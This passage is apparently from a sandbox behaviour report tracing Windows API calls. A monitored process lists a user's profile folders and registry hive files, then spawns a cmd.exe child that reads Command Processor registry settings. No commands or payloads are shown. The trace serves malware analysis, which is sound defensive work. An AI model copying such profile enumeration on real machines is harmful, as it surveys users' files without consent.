ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x6da48afd, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x6da48afd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf719a4c, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf719a4c, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf78c04b, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf78c04b, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6c4d382c, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6c4d382c, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf90cd83, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf90cd83, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0245.549] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf8970d7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8970d7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c1bf0, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf8970d7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8970d7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0245.550] FindClose (in: hFindFile=0x41c1bf0 | out: hFindFile=0x41c1bf0) returned 1 [0245.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c17f0, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Public", cAlternateFileName="")) returned 1 [0245.550] FindNextFileW (in: hFindFile=0x41c17f0, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Public", cAlternateFileName="")) returned 0 [0245.550] FindClose (in: hFindFile=0x41c17f0 | out: hFindFile=0x41c17f0) returned 1 [0245.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0245.551] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0245.551] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0245.551] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0245.551] FindClose (in: hFindFile=0x5732a8 | out: hFindFile=0x5732a8) returned 1 [0245.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4040728 | out: hHeap=0x4f0000) returned 1 Thread: id = 331 os_tid = 0xd6c Thread: id = 333 os_tid = 0xd74 Thread: id = 334 os_tid = 0xd78 Thread: id = 335 os_tid = 0xd7c Thread: id = 336 os_tid = 0xd80 Thread: id = 337 os_tid = 0xd84 Process: id = "22" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3e2c9000" os_pid = "0xd0c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0xd00" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 310 os_tid = 0xd10 [0225.979] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a5430000 [0225.980] __set_app_type (_Type=0x1) [0225.980] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a5446d00) returned 0x0 [0225.980] __getmainargs (in: _Argc=0x7ff6a5469200, _Argv=0x7ff6a5469208, _Env=0x7ff6a5469210, _DoWildCard=0, _StartInfo=0x7ff6a546921c | out: _Argc=0x7ff6a5469200, _Argv=0x7ff6a5469208, _Env=0x7ff6a5469210) returned 0 [0225.980] _onexit (_Func=0x7ff6a5447fd0) returned 0x7ff6a5447fd0 [0225.980] _onexit (_Func=0x7ff6a5447fe0) returned 0x7ff6a5447fe0 [0225.980] _onexit (_Func=0x7ff6a5447ff0) returned 0x7ff6a5447ff0 [0225.980] _onexit (_Func=0x7ff6a5448000) returned 0x7ff6a5448000 [0225.980] _onexit (_Func=0x7ff6a5448010) returned 0x7ff6a5448010 [0225.981] _onexit (_Func=0x7ff6a5448020) returned 0x7ff6a5448020 [0225.981] GetCurrentThreadId () returned 0xd10 [0225.981] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd10) returned 0x70 [0225.981] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffb0fbe0000 [0225.981] GetProcAddress (hModule=0x7ffb0fbe0000, lpProcName="SetThreadUILanguage") returned 0x7ffb0fbfa990 [0225.981] SetThreadUILanguage (LangId=0x0) returned 0x409 [0226.496] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0226.496] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xf4183cfb28 | out: phkResult=0xf4183cfb28*=0x0) returned 0x2 [0226.497] VirtualQuery (in: lpAddress=0xf4183cfb14, lpBuffer=0xf4183cfa90, dwLength=0x30 | out: lpBuffer=0xf4183cfa90*(BaseAddress=0xf4183cf000, AllocationBase=0xf4182d0000, AllocationProtect=0x4, __alignment1=0xffffb409, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0226.497] VirtualQuery (in: lpAddress=0xf4182d0000, lpBuffer=0xf4183cfa90, dwLength=0x30 | out: lpBuffer=0xf4183cfa90*(BaseAddress=0xf4182d0000, AllocationBase=0xf4182d0000, AllocationProtect=0x4, __alignment1=0xffffb409, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0226.497] VirtualQuery (in: lpAddress=0xf4182d1000, lpBuffer=0xf4183cfa90, dwLength=0x30 | out: lpBuffer=0xf4183cfa90*(BaseAddress=0xf4182d1000, AllocationBase=0xf4182d0000, AllocationProtect=0x4, __alignment1=0xffffb409, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0226.497] VirtualQuery (in: lpAddress=0xf4182d4000, lpBuffer=0xf4183cfa90, dwLength=0x30 | out: lpBuffer=0xf4183cfa90*(BaseAddress=0xf4182d4000, AllocationBase=0xf4182d0000, AllocationProtect=0x4, __alignment1=0xffffb409, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0226.497] VirtualQuery (in: lpAddress=0xf4183d0000, lpBuffer=0xf4183cfa90, dwLength=0x30 | out: lpBuffer=0xf4183cfa90*(BaseAddress=0xf4183d0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb409, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0226.497] GetConsoleOutputCP () returned 0x1b5 [0227.249] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a546fbb0 | out: lpCPInfo=0x7ff6a546fbb0) returned 1 [0227.249] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a5458150, Add=1) returned 1 [0227.249] _get_osfhandle (_FileHandle=1) returned 0x254 [0227.249] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6a546fc04 | out: lpMode=0x7ff6a546fc04) returned 0 [0227.249] _get_osfhandle (_FileHandle=0) returned 0x248 [0227.249] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6a546fc00 | out: lpMode=0x7ff6a546fc00) returned 0 [0227.249] _get_osfhandle (_FileHandle=1) returned 0x254 [0227.249] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0227.249] _get_osfhandle (_FileHandle=1) returned 0x254 [0227.250] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6a546fc08 | out: lpMode=0x7ff6a546fc08) returned 0 [0227.250] _get_osfhandle (_FileHandle=0) returned 0x248 [0227.250] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6a546fc0c | out: lpMode=0x7ff6a546fc0c) returned 0 [0227.250] GetEnvironmentStringsW () returned 0x25290795a40* [0227.250] GetProcessHeap () returned 0x25290790000 [0227.250] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xab6) returned 0x25290796500 [0227.250] FreeEnvironmentStringsA (penv="=") returned 1 [0227.250] GetProcessHeap () returned 0x25290790000 [0227.250] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x8) returned 0x25290795a40 [0227.250] GetEnvironmentStringsW () returned 0x25290796fd0* [0227.250] GetProcessHeap () returned 0x25290790000 [0227.250] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xab6) returned 0x25290797a90 [0227.250] FreeEnvironmentStringsA (penv="=") returned 1 [0227.250] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf4183ce9d8 | out: phkResult=0xf4183ce9d8*=0x7c) returned 0x0 [0227.250] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x0, lpData=0xf4183ce9f0*=0x4, lpcbData=0xf4183ce9d4*=0x1000) returned 0x2 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x1, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x0, lpData=0xf4183ce9f0*=0x1, lpcbData=0xf4183ce9d4*=0x1000) returned 0x2 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x0, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf4183ce9d0, lpData=0xf4183ce9f0, lpcbData=0xf4183ce9d4*=0x1000 | out: lpType=0xf4183ce9d0*=0x4, lpData=0xf4183ce9f0*=0x40, lpcbData=0xf4183ce9d4*=0x4) returned 0x0 [0227.251] 